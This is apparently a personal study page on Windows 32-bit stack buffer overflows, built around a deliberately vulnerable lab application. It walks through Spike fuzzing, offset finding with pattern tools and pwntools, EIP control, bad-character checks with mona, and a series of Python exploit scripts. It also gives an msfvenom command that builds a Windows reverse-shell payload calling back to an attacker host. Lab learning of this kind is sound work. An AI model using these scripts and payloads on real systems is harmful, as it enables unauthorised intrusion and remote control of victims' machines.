win32
..# Windows 32 Bit Buffer Overflow
Introduction
To start with understanding buffer overflow in Windows, it is a good idea to start with the simplest of forms. This will describe buffer overflows in Windows 32 bit programs that do not use memory protections.
Tools to Download
Resources
https://www.youtube.com/watch?v=yJF0YPd8lDw
This is the vulnerable application used in John Hammond's video
https://debugger.immunityinc.com/ID_register.py
A good and well known debugger
https://github.com/corelan/mona
A needed addon for Immunity Debugger
Another good debugger
Steps
Fuzz the application
Find a function or input that you want to fuzz to see if you can get the application to crash.
Once you have crashed the program, open it in a debugger to see what causes the crash.
Using the debugger after the program crashes, get an idea of how many A's were sent by subtracting the value of the hex value in the hex dump where the first A is from the hex of the last A.
This can be done using Windows' calculator is "Programmer" mode.
Creat a script to crash the program
I like to use python for this
Find the offset to see where the corrupt memory happens
Create a pattern to send the program to help identify where the eip gets overwritten
msf-pattern_create is a good tool to help with this
if msf-pattern_create and msf-pattern_offset fail to get a lock on the offset try pwntools
Find the part of the pattern that caused the corruption in Immunity Debugger by copying the contents of EIP
Send the contents of that point in memmory to msf-pattern_offset
This will give you the offset that you will need so you can control the EIP.
Verify that you can control the EIP by sending a payload of A's until the offset then 4 Bs and the rest Cs.
Your offset may not be perfect so you may need to adjust it up or down.
If you are getting A's in the eip, subtract by how many A's are in the eip
If you are getting C's in the eip, add by how many C's are in the eip
You will know this worked if the EIP is filled with 42424242
Now find a way to get the program to jump to a section of code you can control
For example, if you have control over the ESP (you may see a bunch of Cs), try to find a bit of code that is always found at the same memory address to jmp eip.
This can be done using immunity debugger by using the mona plugin.
Look for a register that does not have any memory protections.
Copy the address in little endian format into your script.
Example: The memory address 0x62501205 will become \x05\x12\x50\x62
Test that you are able to jump to the esp that you are aiming for
One thing to note is if your EIP is not hex, you will need to convert it from hex to whatever it is showing.
For example if you are using B to overwrite your EIP and you see the literal "B" instead of 42, you know you need to have the literal version of the hex representation
If the memory register is 0x62501205, then you will need to have your new_eip to be 05125062
Do this by putting a breakpoint on that memory location you are aiming for
If the program breaks there, it is a good sign you are ready to move on
Check for bad bytes
There is a chance that certain bytes will crash your program
One example is a null byte
Set up a NOP Sled (at least use 16)
Check to see how much space you have available for your shellcode
You can do this by running your exploit with A's for offset, your new_eip, nop_sled, and C's where your shell code will go
Set up a breakpoint in on the jmp memory point
Step into the C section
Subtract the highest + 1 memory location from the lowest that is filled with C's
If the register is showing 8 bytes then multiply that by 2
Create your shellcode
An easy way is to use msfvenom
If the debugger is showing your input in literal form, you will need to use the "hex" format in msfvenom
If the shell code is too large you can try to expand the C buffer to see if more space can be used for the shell code.
Fuzzing TCP Application Using Spike
Spike is a colleciton of programs that can be used to fuzz appllications:
Spike is built into Kali
generic_send_tcp
You need to create a "spike_script" which will be used to send data to the program you are trying to fuzz. Spike scipts will end in .spk.
s_readline();
s_string("TRUN ");
s_string_variable("FUZZ");
generic_send_tcp <IP> <port> <spike-script.spk> 0 0
Immunity Debugger
Keyboard Shortcuts
F3 = File Open CTRL+F2 = Restart a program F9 = Run F2 = Set Breakpoint F7 = Step through the code CTRL+G = Go to
Python Script For Crashing
#!/usr/bin/env python3
import socket
s = socket.socket()
target ="IP ADDRESS"
port = PORT-NUMBER
s.connect((target,port))
prefix = b"Any Needed Prefix"
total_length = 1000 # The total length of the payload; not to include the prefix
payload = [
prefix,
b"A" * total_length
]
payload = b"".join(payload)
s.send(payload)
s.close()
Python Script for Sending the Pattern
#!/usr/bin/env python3
import socket
s = socket.socket()
target ="IP ADDRESS"
port = PORT-NUMBER
s.connect((target,port))
prefix = b"Any Needed Prefix"
total_length = 1000 # The total length of the payload; not to include the prefix
pattern = b"PASTE PATTERN HERE"
payload = [
prefix,
pattern
]
payload = b"".join(payload)
s.send(payload)
s.close()
Python Script for Geting EIP Control
#!/usr/bin/env python3
import socket
s = socket.socket()
target = "192.168.0.77"
port = 9999
s.connect((target,port))
prefix = b"TRUN /.:/"
total_length = 2984
offset = 2003
new_eip = b"B" * 4
payload = [
prefix,
b"A" * offset,
b"B" * 4,
b"C" * (total_length - offset -4)
]
payload = b"".join(payload)
s.send (payload)
s.close()
Python Script for Testing JMP
#!/usr/bin/env python3
import socket
s = socket.socket()
target = "192.168.0.77"
port = 9999
s.connect((target,port))
prefix = b"TRUN /.:/"
total_length = 2984
offset = 2003
new_eip = b"\x05\x12\x50\x62"
payload = [
prefix,
b"A" * offset,
new_eip,
b"C" * ( total_length - offset - len(new_eip) )
]
payload = b"".join(payload)
s.send (payload)
s.close()
Python Script for Checking Bad Chars
#!/usr/bin/env python3
import socket
import struct
s = socket.socket()
target = "192.168.0.77"
port = 9999
s.connect((target,port))
prefix = b"TRUN /.:/"
total_length = 2984
offset = 2003
new_eip = b"\x05\x12\x50\x62"
all_chars = b"".join([ struct.pack('<B',x) for x in range(1,256) ])
payload = [
prefix,
b"A" * offset,
new_eip,
all_chars
]
payload = b"".join(payload)
s.send (payload)
s.close()
Finding jmp Commands in Mona
In this example we will look for jmp esp
!mona jmp -r esp -cpb "\x00"
The -cpb is where you put a list of bad chars so mona knows not to show registers with that address. This will supply a list of registers that have jmp esp.
Finding bad chars with Mona
Generate the byte array
!mona bytearray -b "\x00"
The -b
specifies the bad chars you do not want to generate. This will write the bytearray to a file. We will use the bytearray.bin instead of the bytearray.txt.
Compare the dump with the bytearray
!mona compare -f <location to the bytearray.bin> -a <mem address>
Doing this may give you characters that truly are not bad. The initial bad character may have caused a ripple effect. The best way to make sure that you identify only bad characters is to repeat the process and exclude the first bad char identified by mona.
Create a Payload with MSFVenom
msfvenom -p windows/shell_reverse_tcp LHOST=eth0 LPORT=1333 -f python -b "\x00" -v shell_code EXITFUNC=thread
In the -b section you can add as many bad characters as you want. LHOST can either be an interface name or an IP address. The -v allows you to name the variable.
Getting the Offset with pwntools
Get the pattern
pwn cyclic -a "123456789ABCDEF" 4000
Get the offset:
pwn cyclic -a "123456789ABCDEF" -l <eip value>
Last updated
Was this helpful?